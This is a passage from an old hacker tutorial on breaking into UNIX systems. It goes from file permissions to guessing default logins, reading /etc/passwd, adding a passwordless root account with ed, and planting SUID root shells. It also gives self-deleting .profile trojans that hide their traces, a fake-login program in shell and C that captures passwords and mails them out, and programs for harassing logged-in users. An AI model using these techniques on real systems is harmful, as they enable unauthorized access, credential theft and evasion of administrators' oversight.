  959. user group. He could read write or execute the file. Now, say datawiz came
  960. across it, but was in the "users" group. The group permissions would not
  961. apply to him, meaning he would have no permissions, so he couldn't touch
  962. the file, right? Sorta. There is a third group of permissions, and this is
  963. the "other" group. This means that the permissions in the "other" group
  964. apply to everyone but the owner, and the users in the same group as the file.
  965. Look at the directory entry above. the r-x-rwxr-- is the permissions line.
  966. The first three characters are the permissions for the owner (r-x). The
  967. "r-x" translates to "Read and execute permissions, but no write permissions"
  968. the second set of three, r-xRWXr-- (the ones in capital letters) are the group
  969. permissions. Those three characters mean "Read, write, and execution allowed"
  970. The 3rd set, r-xrwxR-- is the permissions for everyone else. It means
  971. "Reading allowed, but nothing else". A directory would look something like
  972. this:
  973. $ ls -l
  974. drwxr-xr-x sirhack root 342 March 11 src
  975.  
  976. A directory has a "d" at the beggining of the permissions line. Now, the
  977. owner of the directory (sirhack) can read from the directory, write in the
  978. directory, and execute programs from the directory. The root group and every-
  979. one else can only read from the directory, and execute off the directory.
  980. So, If I changed the directory to be executable only, this is
  981. what it would look like:
  982. $ chmod go-r
  983. $ ls
  984. drwx--x--x sirhack root 342 March 11 src
  985.  
  986. Now, if someone went into the directory besides "sirhack", they could only
  987. execute programs in the directory. If they did an "ls" to get a directory
  988. of src, when they were inside src, it would say "cannot read directory".
  989. If there is a file that is readable in the directory, but the directory is
  990. not readable, it is sometimes possible to read the file anyway.
  991.  
  992. If you do not have execute permissions in a directory, you won't be able to
  993. execute anything in the directory, most of the time.
  994.  
  995. _____________________________________________________________________________
  996.  
  997. --------------
  998. Hacking:
  999. --------------
  1000. The first step in hacking a UNIX is to get into the operating system
  1001. by finding a valid account/password. The object of hacking is usually to
  1002. get root (full privileges), so if you're lucky enough to get in as root,
  1003. you need not read anymore of this hacking phile , and get into the
  1004. "Having Fun" Section. Hacking can also be just to get other's accounts also.
  1005.  
  1006. Getting IN
  1007. ----------
  1008. The first thing to do is to GET IN to the Unix. I mean, get past
  1009. the login prompt. That is the very first thing. When you come across a UNIX,
  1010. sometimes it will identify itself by saying something like,
  1011. "Young INC. Company UNIX"
  1012.  
  1013. or Just
  1014. "Young Inc. Please login"
  1015.  
  1016. Here is where you try the defaults I listed. If you get in with those
  1017. you can get into the more advanced hacking (getting root). If you do something
  1018. wrong at login, you'll get the message
  1019. "login incorrect"
  1020. This was meant to confuse hackers, or keep the wondering. Why?
  1021. Well, you don't know if you've enterred an account that does not exist, or one
  1022. that does exist, and got the wrong password. If you login as root and it says
  1023. "Not on Console", you have a problem. You have to login as someone else,
  1024. and use SU to become root.
  1025.  
  1026. Now, this is where you have to think. If you cannot get in with a
  1027. default, you are obviously going to have to find something else to
  1028. login as. Some systems provide a good way to do this by allowing the use
  1029. of command logins. These are ones which simply execute a command, then
  1030. logoff. However, the commands they execute are usually useful. For instance
  1031. there are three common command logins that tell you who is online at the
  1032. present time. They are:
  1033. who
  1034. rwho
  1035. finger
  1036.  
  1037. If you ever successfully get one of these to work, you can write down
  1038. the usernames of those online, and try to logon as them. Lots of unsuspecting
  1039. users use there login name as their password. For instance, the user
  1040. "bob" may have a password named "bob" or "bob1". This, as you know, is
  1041. not smart, but they don't expect a hacking spree to be carried out on
  1042. them. They merely want to be able to login fast.
  1043. If a command login does not exist, or is not useful at all, you will
  1044. have to brainstorm. A good thing to try is to use the name of the unix
  1045. that it is identified as. For instance, Young INC's Unix may have an account
  1046. named "young"
  1047. Young, INC. Please Login.
  1048. login: young
  1049. UNIX SYSTEM V REL 3.2
  1050. (c)1984 AT&T..
  1051. ..
  1052. ..
  1053. ..
  1054.  
  1055. Some unixes have an account open named "test". This is also a default,
  1056. but surprisingly enough, it is sometimes left open. It is good to try to
  1057. use it. Remember, brainstorming is the key to a unix that has no apparent
  1058. defaults open. Think of things that may go along with the Unix. type
  1059. in stuff like "info", "password", "dial", "bbs" and other things that
  1060. may pertain to the system. "att" is present on some machines also.
  1061.  
  1062. ONCE INSIDE -- SPECIAL FILES
  1063. ----------------------------
  1064. There are several files that are very important to the UNIX
  1065. environment. They are as follows:
  1066.  
  1067. /etc/passwd - This is probably the most important file on a Unix. Why?
  1068. well, basically, it holds the valid usernames/passwords.
  1069. This is important since only those listed in the passwd
  1070. file can login, and even then some can't (will explain).
  1071. The format for the passwordfile is this:
  1072.  
  1073. username:password:UserID:GroupID:description(or real name):homedir:shell
  1074.  
  1075. Here are two sample entries:
  1076.  
  1077. sirhack:89fGc%^7&a,Ty:100:100:Sir Hackalot:/usr/sirhack:/bin/sh
  1078. demo::101:100:Test Account:/usr/demo:/usr/sh
  1079.  
  1080. In the first line, sirhack is a valid user. The second
  1081. field, however, is supposed to be a password, right? Well,
  1082. it is, but it's encrypted with the DES encryption standard.
  1083. the part that says "&a,Ty" may include a date after the comma
  1084. (Ty) that tells unix when the password expires. Yes, the
  1085. date is encrypted into two alphanumeric characters (Ty).
  1086.  
  1087. In the Second example, the demo account has no password.
  1088. so at Login, you could type in:
  1089.  
  1090. login: demo
  1091. UNIX system V
  1092. (c)1984 AT&T
  1093. ..
  1094. ..
  1095.  
  1096. But with sirhack, you'd have to enter a password. Now,
  1097. the password file is great, since a lot of times, you;ll
  1098. be able to browse through it to look for unpassworded
  1099. accounts. Remember that some accounts can be restricted
  1100. from logging in, as such:
  1101.  
  1102. bin:*:2:2:binaccount:/bin:/bin/sh
  1103.  
  1104. The '*' means you won't be able to login with it. Your
  1105. only hope would be to run an SUID shell (explained later).
  1106.  
  1107. A note about the DES encryption: each unix makes its own unique
  1108. "keyword" to base encryption off of. Most of the time its just random letters
  1109. and numbers. Its chosen at installation time by the operating system.
  1110. Now, decrypting DES encrypted things ain't easy. Its pretty much
  1111. impossible. Especially decrypting the password file (decrypting the password
  1112. field within the password file to be exact). Always beware a hacker who
  1113. says he decrypted a password file. He's full of shit. Passwords are
  1114. never decrypted on unix, but rather, a system call is made to a function
  1115. called "crypt" from within the C language, and the string you enter as
  1116. the password gets encrypted, and compared to the encrypted password. If
  1117. they match, you're in. Now, there are password hackers, but they donot
  1118. decrypt the password file, but rather, encrypt words from a dictionary
  1119. and try them against every account (by crypting/comparing) until it finds
  1120. a match (later on!). Remember, few, if none, have decrypted the password
  1121. file successfuly.
  1122.  
  1123. /etc/group - This file contains The valid groups. The group file is usually
  1124. defined as this:
  1125. groupname:password:groupid:users in group
  1126.  
  1127. Once again, passwords are encrypted here too. If you see a blank
  1128. in the password entry you can become part of that group by
  1129. using the utility "newgrp". Now, there are some cases in
  1130. which even groups with no password will allow only certain
  1131. users to be assigned to the group via the newgrp command. Usually,
  1132. if the last field is left blank, that means any user can use newgrp
  1133. to get that group's access. Otherwise, only the users specified in
  1134. the last field can enter the group via newgrp.
  1135.  
  1136. Newgrp is just a program that will change your group current
  1137. group id you are logged on under to the one you specify. The
  1138. syntax for it is: newgrp groupname
  1139. Now, if you find a group un passworded, and use newgrp to
  1140. enter it, and it asks for a password, you are not allowed to use
  1141. the group. I will explain this further in The "SU & Newgrp" section.
  1142.  
  1143. /etc/hosts - this file contains a list of hosts it is connected to thru
  1144. a hardware network (like an x.25 link or something), or sometimes
  1145. just thru UUCP. This is a good file when you are hacking a
  1146. large network, since it tells you systems you can use with
  1147. rsh (Remote Shell, not restricted shell), rlogin, and telnet,
  1148. as well as other ethernet/x.25 link programs.
  1149.  
  1150. /usr/adm/sulog (or su_log) - the file sulog (or su_log) may be found in
  1151. Several directories, but it is usually in /usr/adm. This file
  1152. is what it sounds like. Its a log file, for the program SU.
  1153. What it is for is to keep a record of who uses SU and when.
  1154. whenever you use SU, your best bet would be to edit this file
  1155. if possible, and I'll tell you how and why in the section
  1156. about using "su".
  1157.  
  1158. /usr/adm/loginlog
  1159. or /usr/adm/acct/loginlog -
  1160. This is a log file, keeping track of the logins.
  1161. Its purpose is merely for accounting and "security review". Really,
  1162. sometimes this file is never found, since a lot of systems keep the
  1163. logging off.
  1164.  
  1165. /usr/adm/errlog
  1166. or errlog - This is the error log. It could be located anywhere. It
  1167. keeps track of all serious and even not so serious errors.
  1168. Usually, it will contain an error code, then a situation.
  1169. the error code can be from 1-10, the higher the number, the
  1170. worse the error. Error code 6 is usually used when you try
  1171. to hack. "login" logs your attempt in errlog with error code
  1172. 6. Error code 10 means, in a nutshell, "SYSTEM CRASH".
  1173.  
  1174. /usr/adm/culog - This file contains entries that tell when you used cu,
  1175. where you called and so forth. Another security thing.
  1176.  
  1177. /usr/mail/<userLogin> - this is where the program "mail" stores its mail.
  1178. to read a particular mailbox, so they are called,
  1179. you must be that user, in the user group "mail" or
  1180. root. each mailbox is just a name. for instance,
  1181. if my login was "sirhack" my mail file would usually
  1182. be: /usr/mail/sirhack
  1183.  
  1184. /usr/lib/cron/crontabs - This contains the instructions for cron, usually.
  1185. Will get into this later.
  1186.  
  1187. /etc/shadow - A "shadowed" password file. Will talk about this later.
  1188.  
  1189.  
  1190. -- The BIN account --
  1191.  
  1192. Well, right now, I'd like to take a moment to talk about the account
  1193. "bin". While it is only a user level account, it is very powerful. It is
  1194. the owner of most of the files, and on most systems, it owns /etc/passwd,
  1195. THE most important file on a unix. See, the bin account owns most of the
  1196. "bin" (binary) files, as well as others used by the binary files, such
  1197. as login. Now, knowing what you know about file permissions, if bin owns
  1198. the passwd file, you can edit passwd and add a root entry for yourself.
  1199. You could do this via the edit command:
  1200. $ ed passwd
  1201. 10999 [The size of passwd varies]
  1202. * a
  1203. sirhak::0:0:Mr. Hackalot:/:/bin/sh
  1204. {control-d}
  1205. * w
  1206. * q
  1207. $
  1208.  
  1209. Then, you could say: exec login, then you could login as sirhack, and
  1210. you'd be root.
  1211.  
  1212. /\/\/\/\/\/\/\/\/
  1213. Hacking..........
  1214. /\/\/\/\/\/\/\/\/
  1215.  
  1216. --------------
  1217. Account Adding
  1218. --------------
  1219.  
  1220. There are other programs that will add users to the system, instead
  1221. of ed. But most of these programs will NOT allow a root level user to be
  1222. added, or anything less than a UID of 100. One of these programs is
  1223. named "adduser". Now, the reason I have stuck this little section in, is
  1224. for those who want to use a unix for something useful. Say you want a
  1225. "mailing address". If the unix has uucp on it, or is a big college,
  1226. chances are, it will do mail transfers. You'll have to test the unix
  1227. by trying to send mail to a friend somewhere, or just mailing yourself.
  1228. If the mailer is identified as "smail" when you mail yourself (the program
  1229. name will be imbedded in the message) that probably means that the system
  1230. will send out UUCP mail. This is a good way to keep in contact with people.
  1231. Now, this is why you'd want a semi-permanent account. The way to achieve this
  1232. is by adding an account similar to those already on the system. If all the
  1233. user-level accounts (UID >= 100) are three letter abbriviations, say
  1234. "btc" for Bill The Cat, or "brs" for bill ryan smith, add an account
  1235. via adduser, and make a name like sally jane marshall or something
  1236. (they don't expect hackers to put in female names) and have the account
  1237. named sjm. See, in the account description (like Mr. Hackalot above), that
  1238. is where the real name is usually stored. So, sjm might look like this:
  1239. sjm::101:50:Sally Jane Marshall:/usr/sjm:/bin/sh
  1240. Of course, you will password protect this account, right?
  1241. Also, group id's don't have to be above 100, but you must put the account
  1242. into one that exists. Now, once you login with this account, the first
  1243. thing you'd want to do is execute "passwd" to set a password up. If you
  1244. don't, chances are someone else 'll do it for you (Then you'll be SOL).
  1245.  
  1246. -------------------
  1247. Set The User ID
  1248. -------------------
  1249.  
  1250. This is porbably one of the most used schemes. Setting up an "UID-
  1251. Shell". What does this mean? Well, it basically means you are going
  1252. to set the user-bit on a program. The program most commonly used is
  1253. a shell (csh,sh, ksh, etc). Why? Think about it: You'll have access
  1254. to whatever the owner of the file does. A UID shell sets the user-ID of
  1255. the person who executes it to the owner of the program. So if root
  1256. owns a uid shell, then you become root when you run it. This is an
  1257. alternate way to become root.
  1258.  
  1259. Say you get in and modify the passwd file and make a root level
  1260. account unpassworded, so you can drop in. Of course, you almost HAVE to
  1261. get rid of that account or else it WILL be noticed eventually. So, what
  1262. you would do is set up a regular user account for yourself, then, make
  1263. a uid shell. Usually you would use /bin/sh to do it. After adding
  1264. the regular user to the passwd file, and setting up his home directory,
  1265. you could do something like this:
  1266. (assume you set up the account: shk)
  1267. # cp /bin/sh /usr/shk/runme
  1268. # chmod a+s /usr/shk/runme
  1269.  
  1270. Thats all there would be to it. When you logged in as shk, you could just
  1271. type in:
  1272.  
  1273. $ runme
  1274. #
  1275.  
  1276. See? You'd then be root. Here is a thing to do:
  1277.  
  1278. $ id
  1279. uid=104(shk) gid=50(user)
  1280.  
  1281. $ runme
  1282. # id
  1283. uid=104(shk) gid=50(user) euid=0(root)
  1284. #
  1285.  
  1286. The euid is the "effective" user ID. UID-shells only set the effective
  1287. userid, not the real user-id. But, the effective user id over-rides the
  1288. real user id. Now, you can, if you wanted to just be annoying, make
  1289. the utilities suid to root. What do I mean? For instance, make 'ls'
  1290. a root 'shell'. :
  1291.  
  1292. # chmod a+s /bin/ls
  1293. # exit
  1294. $ ls -l /usr/fred
  1295. ..
  1296. ......
  1297. etc crap
  1298.  
  1299. Ls would then be able to pry into ANY directory. If you did the same to
  1300. "cat" you could view any file. If you did it to rm, you could delete any
  1301. file. If you did it to 'ed', you could edit any-file (nifty!), anywhere on
  1302. the system (usually).
  1303.  
  1304.  
  1305. How do I get root?
  1306. ------------------
  1307.  
  1308. Good question indeed. To make a program set the user-id shell to root,
  1309. you have to be root, unless you're lucky. What do I mean? Well, say
  1310. you find a program that sets the user-id to root. If you have access
  1311. to write to that file, guess what? you can copy over it, but keep
  1312. the uid bit set. So, say you see that the program chsh is setting
  1313. the user id too root. You can copy /bin/sh over it.
  1314.  
  1315. $ ls -l
  1316. rwsrwsrws root other 10999 Jan 4 chsh
  1317. $ cp /bin/sh chsh
  1318. $ chsh
  1319. #
  1320.  
  1321. See? That is just one way. There are others, which I will now talk
  1322. about.
  1323.  
  1324. More on setting the UID
  1325. -----------------------
  1326.  
  1327. Now, the generic form for making a program set the User-ID bit
  1328. is to use this command:
  1329.  
  1330. chmod a+s file
  1331.  
  1332. Where 'file' is a valid existing file. Now, only those who own the file
  1333. can set the user ID bit. Remember, anything YOU create, YOU own, so if
  1334. you copy th /bin/sh, the one you are logged in as owns it, or IF the
  1335. UID is set to something else, the New UID owns the file. This brings
  1336. me to BAD file permissions.
  1337.  
  1338.  
  1339.  
  1340. II. HACKING : Bad Directory Permissions
  1341.  
  1342. Now, what do I mean for bad directory permissions? Well, look for
  1343. files that YOU can write to, and above all, DIRECTORIES you can write to.
  1344. If you have write permissions on a file, you can modify it. Now, this comes
  1345. in handy when wanting to steal someone's access. If you can write to
  1346. a user's .profile, you are in business. You can have that user's .profile
  1347. create a suid shell for you to run when You next logon after the user.
  1348. If the .profile is writable to you, you can do this:
  1349.  
  1350. $ ed .profile
  1351. [some number will be here]
  1352. ? a
  1353. cp /bin/sh .runme
  1354. chmod a+x .runme
  1355. chmod a+s .runme
  1356. (control-d)
  1357. ? w
  1358. [new filesize will be shown]
  1359. ? q
  1360. $
  1361.  
  1362. Now, when the user next logs on, the .profile will create .runme which
  1363. will set your ID to the user whose .profile you changed. Ideally, you'll
  1364. go back in and zap those lines after the suid is created, and you'll create
  1365. a suid somewhere else, and delete the one in his dir. The .runme will
  1366. not appear in the user's REGULAR directory list, it will only show up
  1367. if he does "ls -a" (or ls with a -a combination), because, the '.' makes
  1368. a file hidden.
  1369.  
  1370. The above was a TROJAN HORSE, which is one of the most widely used/abused
  1371. method of gaining more power on a unix. The above could be done in C via
  1372. the system() command, or by just plain using open(), chmod(), and the like.
  1373. * Remember to check and see if the root user's profile is writeable *
  1374. * it is located at /.profile (usually) *
  1375.  
  1376.  
  1377. The BEST thing that could happen is to find a user's directory writeable
  1378. by you. Why? well, you could replace all the files in the directory
  1379. with your own devious scripts, or C trojans. Even if a file is not
  1380. writeable by you, you can still overwrite it by deleteing it. If you
  1381. can read various files, such as the user's .profile, you can make a
  1382. self deleting trojan as so:
  1383.  
  1384. $ cp .profile temp.pro
  1385. $ ed .profile
  1386. 1234
  1387. ? a
  1388. cp /bin/sh .runme
  1389. chmod a+x .runme
  1390. chmod a+s .runme
  1391. mv temp.pro .profile
  1392. (control-d)
  1393. ? w
  1394. [another number]
  1395. ? q
  1396. $ chown that_user temp.pro
  1397.  
  1398. What happens is that you make a copy of the .profile before you change it.
  1399. Then, you change the original. When he runs it, the steps are made, then
  1400. the original version is placed over the current, so if the idiot looks in
  1401. his .profile, he won't see anything out of the ordinary, except that he
  1402. could notice in a long listing that the change date is very recent, but
  1403. most users are not paranoid enough to do extensive checks on their files,
  1404. except sysadm files (such as passwd).
  1405.  
  1406. Now, remember, even though you can write to a dir, you may not be able
  1407. to write to a file without deleting it. If you do not have write perms
  1408. for that file, you'll have to delete it and write something in its place
  1409. (put a file with the same name there). The most important thing to remember
  1410. if you have to delete a .profile is to CHANGE the OWNER back after you
  1411. construct a new one (hehe) for that user. He could easily notice that his
  1412. .profile was changed and he'll know who did it. YES, you can change the
  1413. owner to someone else besides yourself and the original owner (as to throw
  1414. him off), but this is not wise as keeping access usually relies on the fact
  1415. that they don't know you are around.
  1416.  
  1417. You can easily change cron files if you can write to them. I'm not going
  1418. to go into detail about cronfile formats here, just find the crontab files
  1419. and modify them to create a shell somewhere as root every once in a while,
  1420. and set the user-id.
  1421.  
  1422. III. Trojan Horses on Detached terminals.
  1423. Basically this: You can send garbage to a user's screen and
  1424. mess him up bad enough to force a logoff, creating a detached
  1425. account. Then you can execute a trojan horse off that terminal in
  1426. place of login or something, so the next one who calls can hit the
  1427. trojan horse. This USUALLY takes the form of a fake login and
  1428. write the username/pw entererred to disk.
  1429.  
  1430. Now, there are other trojan horses available for you to write. Now,
  1431. don't go thinking about a virus, for they don't work unless ROOT runs
  1432. them. Anyway, a common trjan would be a shell script to get the
  1433. password, and mail it to you. Now, you can replace the code for
  1434. the self deleting trojan with one saying something like:
  1435. echo "login: \c"
  1436. read lgin
  1437. echo off (works on some systems)
  1438. (if above not available...: stty -noecho)
  1439. echo "Password:\c"
  1440. read pw
  1441. echo on
  1442. echo "Login: $lgin - Pword: $pw" | mail you
  1443.  
  1444. Now, the best way to use this is to put it in a seperate script file
  1445. so it can be deleted as part of the self deleting trojan. A quick
  1446. modification, removing the "login: " and leaving the password
  1447. may have it look like SU, so you can get the root password. But
  1448. make sure the program deletes itself. Here is a sample trojan
  1449. login in C:
  1450.  
  1451. #include <stdio.h>
  1452. /* Get the necessary defs.. */
  1453. main()
  1454. {
  1455. char *name[80];
  1456. char *pw[20];
  1457. FILE *strm;
  1458. printf("login: ");
  1459. gets(name);
  1460. pw = getpass("Password:");
  1461. strm = fopen("/WhereEver/Whateverfile","a");
  1462. fprintf(strm,"User: (%s), PW [%s]\n",name,pw);
  1463. fclose(strm);
  1464. /* put some kind of error below... or something... */
  1465. printf("Bus Error - Core Dumped\n");
  1466. exit(1);
  1467. }
  1468.  
  1469. The program gets the login, and the password, and appends it to
  1470. a file (/wherever/whateverfile), and creates the file if it can,
  1471. and if its not there. That is just an example. Network Annoyances
  1472. come later.
  1473.  
  1474. IV. Odd systems
  1475.  
  1476. There may be systems you can log in to with no problem, and find some
  1477. slack menu, database, or word processor as your shell, with no way to the
  1478. command interpreter (sh, ksh, etc..). Don't give up here. Some systems will
  1479. let you login as root, but give you a menu which will allow you to add an
  1480. account. However, ones that do this usually have some purchased software
  1481. package running, and the people who made the software KNOW that the people
  1482. who bought it are idiots, and the thing will sometimes only allow you to
  1483. add accounts with user-id 100 or greater, with their special menushell as
  1484. a shell. You probably won't get to pick the shell, the program will probably
  1485. stick one on the user you created which is very limiting. HOWEVER, sometimes
  1486. you can edit accounts, and it will list accounts you can edit on the screen.
  1487. HOWEVER, these programs usually only list those with UIDS > 100 so you don't
  1488. edit the good accounts, however, they donot stop you from editing an account
  1489. with a UID < 100. The "editing" usually only involves changing the password
  1490. on the account. If an account has a * for a password, the standard passwd
  1491. program which changes programs, will say no pw exists, and will ask you to
  1492. enter one. (wallah! You have just freed an account for yourself. Usually
  1493. bin and sys have a * for a password). If one exists you'll have to enter
  1494. the old Password (I hope you know it!) for that account. Then, you are
  1495. in the same boat as before. (BTW -- These wierd systems are usually
  1496. Xenix/386, Xenix/286, or Altos/286)
  1497. With word processors, usually you can select the load command,
  1498. and when the word processor prompts for a file, you can select the passwd
  1499. file, to look for open accounts, or at least valid ones to hack. An example
  1500. would be the informix system. You can get a word processor with that such
  1501. as Samna word, or something, and those Lamers will not protect against
  1502. shit like that. Why? The Passwd file HAS to be readable by all for the most
  1503. part, so each program can "stat" you. However, word processors could be made
  1504. to restrict editing to a directory, or set of directories. Here is an
  1505. example:
  1506.  
  1507. $ id
  1508. uid=100(sirhack) gid=100(users)
  1509. $ sword
  1510. (word processor comes up)
  1511. (select LOAD A FILE)
  1512. <Edit File>: /etc/passwd
  1513. <Loading..>
  1514. (you see: )
  1515. root:dkdjkgsf!!!:0:0:Sysop:/:/bin/sh
  1516. sirhack:dld!k%%^%:100:100:Sir Hackalot:/usr/usr1/sirhack:/bin/sh
  1517. datawiz::101:100:The Data Wizard:/usr/usr1/datawiz:/bin/sh
  1518. ...
  1519.  
  1520. Now I have found an account to take over! "datawiz" will get me in with no
  1521. trouble, then I can change his password, which he will not like at all.
  1522. Some systems leave "sysadm" unpassworded (stupid!), and now, Most versions
  1523. of Unix, be it Xenix, Unix, BSD, or whatnot, they ship a sysadm shell which
  1524. will menu drive all the important shit, even creating users, but you must
  1525. have ansi or something.
  1526.  
  1527. You can usually tell when you'll get a menu. Sometimes on UNIX
  1528. SYSTEM V, when it says TERM = (termtype), and is waiting for
  1529. you to press return or whatever, you will probably get a menu.. ack.
  1530.  
  1531. V. Shadowed Password files
  1532. Not much to say about this. all it is, is when every password field
  1533. in the password file has an "x" or just a single character. What
  1534. that does is screw you, becuase you cannot read the shadowed password
  1535. file, only root can, and it contains all the passwords, so you will
  1536. not know what accounts have no passwords, etc.
  1537.  
  1538. There are a lot of other schemes for hacking unix, lots of others, from
  1539. writing assembly code that modifies the PCB through self-changing code which
  1540. the interrupt handler doesn't catch, and things like that. However, I do
  1541. not want to give away everything, and this was not meant for advanced Unix
  1542. Hackers, or atleast not the ones that are familiar with 68xxx, 80386 Unix
  1543. assembly language or anything. Now I will Talk about Internet.
  1544.  
  1545.  
  1546.  
  1547. --->>> InterNet <<<---
  1548. Why do I want to talk about InterNet? Well, because it is a prime
  1549. example of a TCP/IP network, better known as a WAN (Wide-Area-Network).
  1550. Now, mainly you will find BSD systems off of the Internet, or SunOS, for
  1551. they are the most common. They may not be when System V, Rel 4.0, Version
  1552. 2.0 comes out. Anyway, these BSDs/SunOSs like to make it easy to jump
  1553. from one computer to another once you are logged in. What happens is
  1554. EACH system has a "yello page password file". Better known as yppasswd.
  1555. If you look in there, and see blank passwords you can use rsh, rlogin, etc..
  1556. to slip into that system. One system in particular I came across had a
  1557. a yppasswd file where *300* users had blank passwords in the Yellow Pages.
  1558. Once I got in on the "test" account, ALL I had to do was select who I wanted
  1559. to be, and do: rlogin -l user (sometimes -n). Then it would log me onto
  1560. the system I was already on, through TCP/IP. However, when you do this,
  1561. remember that the yppasswd only pertains to the system you are on at
  1562. the time. To find accounts, you could find the yppasswd file and do:
  1563.  
  1564. % cat yppasswd | grep ::
  1565.  
  1566. Or, if you can't find yppasswd..
  1567.  
  1568. % ypcat passwd | grep ::
  1569.  
  1570. On ONE system (which will remain confidential), I found the DAEMON account
  1571. left open in the yppasswd file. Not bad. Anyway, through one system
  1572. on the internet, you can reach many. Just use rsh, or rlogin, and look
  1573. in the file: /etc/hosts for valid sites which you can reach. If you get
  1574. on to a system, and rlogin to somewhere else, and it asks for a password,
  1575. that just means one of two things:
  1576.  
  1577. A. Your account that you have hacked on the one computer is on the target
  1578. computer as well. Try to use the same password (if any) you found the
  1579. hacked account to have. If it is a default, then it is definitly on the
  1580. other system, but good luck...
  1581.  
  1582. B. rlogin/rsh passed your current username along to the remote system, so it
  1583. was like typing in your login at a "login: " prompt. You may not exist on
  1584. the other machine. Try "rlogin -l login_name", or rlogin -n name..
  1585. sometimes, you can execute "rwho" on another machine, and get a valid
  1586. account.
  1587.  
  1588. Some notes on Internet servers. There are "GATEWAYS" that you can get into
  1589. that will allow access to MANY internet sites. They are mostly run off
  1590. a modified GL/1 or GS/1. No big deal. They have help files. However,
  1591. you can get a "privilged" access on them, which will give you CONTROL of
  1592. the gateway.. You can shut it down, remove systems from the Internet, etc..
  1593. When you request to become privileged, it will ask for a password. There is
  1594. a default. The default is "system". I have come across *5* gateways with
  1595. the default password. Then again, DECNET has the same password, and I have
  1596. come across 100+ of those with the default privileged password. CERT Sucks.
  1597. a Gateway that led to APPLE.COM had the default password. Anyone could
  1598. have removed apple.com from the internet. Be advised that there are many
  1599. networks now that use TCP/IP.. Such as BARRNET, LANET, and many other
  1600. University networks.
  1601.  
  1602. --** Having Fun **--
  1603.  
  1604. Now, if nothing else, you should atleast have some fun. No, I do not mean
  1605. go trashing hardrives, or unlinking directories to take up inodes, I mean
  1606. play with online users. There are many things to do. Re-direct output
  1607. to them is the biggie. Here is an example:
  1608. $ who
  1609. loozer tty1
  1610. sirhack tty2
  1611. $ banner You Suck >/dev/tty1
  1612. $
  1613. That sent the output to loozer. The TTY1 is where I/O is being performed
  1614. to his terminal (usually a modem if it is a TTY). You can repetitiously
  1615. banner him with a do while statement in shell, causing him to logoff. Or
  1616. you can get sly, and just screw with him. Observe this C program:
  1617.  
  1618. #include <stdio.h>
  1619. #include <fcntl.h>
  1620. #include <string.h>
  1621.  
  1622. main(argc,argument)
  1623. int argc;
  1624. char *argument[];
  1625. {
  1626. int handle;
  1627. char *pstr,*olm[80];
  1628. char *devstr = "/dev/";
  1629. int acnt = 2;
  1630. FILE *strm;
  1631. pstr = "";
  1632. if (argc == 1) {
  1633. printf("OL (OneLiner) Version 1.00 \n");
  1634. printf("By Sir Hackalot [PHAZE]\n");
  1635. printf("\nSyntax: ol tty message\n");
  1636. printf("Example: ol tty01 You suck\n");
  1637. exit(1);
  1638. }
  1639. printf("OL (OneLiner) Version 1.0\n");
  1640. printf("By Sir Hackalot [PHAZE]\n");
  1641. if (argc == 2) {
  1642. strcpy(olm,"");
  1643. printf("\nDummy! You forgot to Supply a ONE LINE MESSAGE\n");
  1644. printf("Enter one Here => ");
  1645. gets(olm);
  1646. }
  1647. strcpy(pstr,"");
  1648. strcat(pstr,devstr);
  1649. strcat(pstr,argument[1]);
  1650. printf("Sending to: [%s]\n",pstr);
  1651. strm = fopen(pstr,"a");
  1652. if (strm == NULL) {
  1653. printf("Error writing to: %s\n",pstr);
  1654. printf("Cause: No Write Perms?\n");
  1655. exit(2);
  1656. }
  1657. if (argc == 2) {
  1658. if (strcmp(logname(),"sirhack") != 0) fprintf(strm,"Message from (%s): \n",logname());
  1659. fprintf(strm,"%s\n",olm);
  1660. fclose(strm);
  1661. printf("Message Sent.\n");
  1662. exit(0);
  1663. }
  1664. if (argc > 2) {
  1665. if (strcmp(logname(),"sirhack") != 0) fprintf(strm,"Message from (%s):\n",logname());
  1666. while (acnt <= argc - 1) {
  1667. fprintf(strm,"%s ",argument[acnt]);
  1668. acnt++;
  1669. }
  1670. fclose(strm);
  1671. printf("Message sent!\n");
  1672. exit(0);
  1673. }
  1674. }
  1675.  
  1676. What the above does is send one line of text to a device writeable by you
  1677. in /dev. If you try it on a user named "sirhack" it will notify sirhack
  1678. of what you are doing. You can supply an argument at the command line, or
  1679. leave a blank message, then it will prompt for one. You MUST supply a
  1680. Terminal. Also, if you want to use ?, or *, or (), or [], you must not
  1681. supply a message at the command line, wait till it prompts you. Example:
  1682.  
  1683. $ ol tty1 You Suck!
  1684. OL (OneLiner) Version 1.00
  1685. by Sir Hackalot [PHAZE]
  1686. Sending to: [/dev/tty1]
  1687. Message Sent!
  1688. $
  1689. Or..
  1690. $ ol tty1
  1691. OL (OneLiner) Version 1.00
  1692. by Sir Hackalot [PHAZE]
  1693. Dummy! You Forgot to Supply a ONE LINE MESSAGE!
  1694. Enter one here => Loozer! Logoff (NOW)!! ^G^G
  1695. Sending to: [/dev/tty1]
  1696. Message Sent!
  1697. $
  1698.  
  1699. You can even use it to fake messages from root. Here is another:
  1700.  
  1701.  
  1702. /*
  1703. * Hose another user
  1704. */
  1705.  
  1706. #include <stdio.h>
  1707. #include <sys/types.h>
  1708. #include <sys/stat.h>
  1709. #include <signal.h>
  1710. #include <utmp.h>
  1711. #include <time.h>
  1712. #include <termio.h>
  1713. #include <sys/utsname.h>
  1714.  
  1715. #define NMAX sizeof(ubuf.ut_name)
  1716.  
  1717. struct utmp ubuf;
  1718. struct termio oldmode, mode;
  1719. struct utsname name;
  1720. int yn;
  1721. int loop = 0;
  1722. char *realme[50] = "Unknown";
  1723. char *strcat(), *strcpy(), me[50] = "???", *him, *mytty, histty[32];
  1724. char *histtya, *ttyname(), *strrchr(), *getenv();
  1725. int signum[] = {SIGHUP, SIGINT, SIGQUIT, 0}, logcnt, eof(), timout();
  1726. FILE *tf;
  1727.  
  1728. main(argc, argv)
  1729. int argc;
  1730. char *argv[];
  1731. {
  1732. register FILE *uf;
  1733. char c1, lastc;
  1734. int goodtty = 0;
  1735. long clock = time((long *) 0);
  1736. struct tm *localtime();
  1737. struct tm *localclock = localtime( &clock );
  1738. struct stat stbuf;
  1739. char psbuf[20], buf[80], window[20], junk[20];
  1740. FILE *pfp, *popen();
  1741.  
  1742. if (argc < 2) {
  1743. printf("usage: hose user [ttyname]\n");
  1744. exit(1);
  1745. }
  1746. him = argv[1];
  1747.  
  1748. if (argc > 2)
  1749. histtya = argv[2];
  1750. if ((uf = fopen("/etc/utmp", "r")) == NULL) {
  1751. printf("cannot open /etc/utmp\n");
  1752. exit(1);
  1753. }
  1754. cuserid(me);
  1755. if (me == NULL) {
  1756. printf("Can't find your login name\n");
  1757. exit(1);
  1758. }
